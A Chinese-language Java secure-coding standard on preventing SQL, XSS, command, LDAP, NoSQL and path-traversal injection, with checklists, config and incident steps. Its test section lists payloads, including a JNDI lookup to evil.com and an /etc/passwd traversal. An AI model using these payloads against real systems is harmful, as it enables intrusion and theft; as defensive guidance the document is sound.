Java防注入流程规范
输入验证规范
1 白名单验证
// 推荐:使用白名单验证
public boolean validateInput(String input) {
String pattern = "^[a-zA-Z0-9_]+$";
return input.matches(pattern);
}
// 不推荐:黑名单验证
public boolean validateInputBad(String input) {
// 黑名单容易遗漏,且难以维护
return !input.contains("'") && !input.contains("\"");
}
2 长度限制
// 所有用户输入必须有长度限制
if (input.length() > MAX_LENGTH) {
throw new ValidationException("输入过长");
}
SQL注入防护
1 使用PreparedStatement(强制)
// 推荐:参数化查询
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement ps = connection.prepareStatement(sql);
ps.setString(1, username);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();
// 禁止:字符串拼接SQL
// String sql = "SELECT * FROM users WHERE username = '" + username + "'";
2 MyBatis规范
<!-- 推荐:使用#{}参数绑定 -->
<select id="findUser" resultType="User">
SELECT * FROM users WHERE username = #{username}
</select>
<!-- 避免:使用${}直接拼接 -->
<!-- SELECT * FROM users WHERE username = '${username}' -->
3 JPA/Hibernate规范
// 推荐:使用参数绑定
@Query("SELECT u FROM User u WHERE u.username = :username")
User findByUsername(@Param("username") String username);
// 避免:使用原生SQL拼接
// @Query(value = "SELECT * FROM users WHERE username = '" + username + "'", nativeQuery = true)
XSS防护规范
1 输出编码
// HTML上下文编码
String safeHtml = StringEscapeUtils.escapeHtml4(userInput);
// JavaScript上下文编码
String safeJs = StringEscapeUtils.escapeEcmaScript(userInput);
// URL上下文编码
String safeUrl = URLEncoder.encode(userInput, "UTF-8");
2 使用模板引擎自动转义
// Thymeleaf(默认开启HTML转义)
<p th:text="${userInput}"></p>
// FreeMarker(使用?html过滤器)
<p>${userInput?html}</p>
命令注入防护
1 禁止执行系统命令
// 禁止:直接执行用户输入
// Runtime.getRuntime().exec("ping " + userInput);
// 推荐:使用白名单预定义命令
public enum AllowedCommands {
PING, TRACEROUTE, NSLOOKUP
}
2 文件路径安全
// 推荐:路径规范化并验证
Path basePath = Paths.get("/safe/directory");
Path userPath = basePath.resolve(userInput).normalize();
if (!userPath.startsWith(basePath)) {
throw new SecurityException("非法的路径访问");
}
LDAP注入防护
// 使用转义库
import org.owasp.encoder.Encode;
String safeInput = Encode.forLDAP(userInput);
NOSQL注入防护
// MongoDB查询参数化
Document query = new Document("username", userInput); // 自动处理转义
// 避免使用字符串拼接
// String query = "{\"username\":\"" + userInput + "\"}";
代码审查清单
## 代码审查检查项
### SQL注入检查
- [ ] 所有SQL语句使用PreparedStatement或参数化查询
- [ ] 禁止字符串拼接SQL
- [ ] MyBatis中优先使用#{}而非${}
- [ ] JPA中使用命名参数而非拼接
### XSS检查
- [ ] 所有用户输入输出到HTML时进行编码
- [ ] 使用模板引擎的自动转义功能
- [ ] Cookie设置HttpOnly和Secure标志
### 其他检查
- [ ] 禁止执行系统命令
- [ ] 文件路径进行规范化检查
- [ ] 所有输入进行长度和格式验证
工具配置
1 依赖管理
<!-- pom.xml -->
<dependency>
<groupId>org.owasp.encoder</groupId>
<artifactId>encoder</artifactId>
<version>1.2.3</version>
</dependency>
<dependency>
<groupId>commons-validator</groupId>
<artifactId>commons-validator</artifactId>
<version>1.7</version>
</dependency>
2 安全配置
# application.yml
spring:
# SQL错误不返回详细信息
jpa:
show-sql: false
# 禁用HTTP TRACE方法
mvc:
dispatch-trace-request: false
测试规范
// 注入测试用例
@ParameterizedTest
@ValueSource(strings = {
"' OR '1'='1", // SQL注入
"<script>alert(1)</script>", // XSS
"${jndi:ldap://evil.com}", // JNDI注入
"../../../etc/passwd", // 路径遍历
})
void testInjectionPrevention(String maliciousInput) {
// 验证系统能够正确处理恶意输入
assertDoesNotThrow(() -> service.processInput(maliciousInput));
// 验证输出中没有恶意内容
String output = service.processInput(maliciousInput);
assertFalse(output.contains("' OR '1'='1"));
}
紧急处理流程
## 注入漏洞应急响应
1. **确认漏洞**
- 记录攻击时间和IP
- 收集相关日志
2. **立即处置**
- 暂停受影响服务
- 回滚到安全版本
3. **修复方案**
- 实施验证过滤
- 更新安全配置
4. **事后复盘**
- 分析根因
- 更新开发规范
- 加强安全培训
- 前置预防:输入验证 + 参数化查询
- 过程控制:输出编码 + 安全配置
- 事后检测:日志监控 + 安全测试
